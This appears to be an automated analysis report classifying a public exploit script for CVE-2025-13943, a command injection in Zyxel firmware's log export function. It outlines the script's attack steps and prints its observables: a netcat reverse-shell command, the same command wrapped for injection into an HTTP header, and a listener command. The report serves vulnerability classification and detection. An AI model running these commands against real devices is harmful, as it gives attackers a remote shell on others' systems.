CVE-2025-13943

Classification basis

The rce.py script performs all steps required to exploit the vulnerability: it authenticates, injects a malicious command into a packet capture, and triggers the vulnerable log export function to execute the command, resulting in a reverse shell. This is active exploitation, not just detection.

Requirements

• Valid credentials for the target device's web interface.rce.py:7-8
• Target device must be running a vulnerable Zyxel firmware version with the zhttpd binary.README.md:3
• Attacker must provide target IP/hostname and attacker IP as command-line arguments.rce.py:10-12

Observed behavior

• Starts a netcat listener on the attacker machine to receive the reverse shell.rce.py:72-74
• Authenticates to the target device using the provided credentials and obtains a session key.rce.py:86-102
• Sends authenticated requests to start a packet capture on the target device.rce.py:108-110
• Sends an HTTP request with a malicious header containing a reverse shell command to be captured by tcpdump.rce.py:112-113
• Stops the packet capture and triggers the log export function, which causes the injected command to be executed via a system() call.rce.py:115-120

Observables

Reverse Shell

rm /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.1.100 5555 >/tmp/fThe script constructs a reverse shell command using the attacker-supplied IP and port, which is injected into the vulnerable endpoint to gain remote access. This is the intended exploit payload.rce.py:15

Command Injection

$(rm /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.1.100 5555 >/tmp/f)The script injects the reverse shell command into an HTTP header, which is later executed by the vulnerable system() call in the target firmware. This matches the described vulnerability.rce.py:113

Listener

nc -lp 5555The script starts a netcat listener on the attacker machine to receive the reverse shell connection. This is standard exploit behavior.rce.py:16rce.py:73-74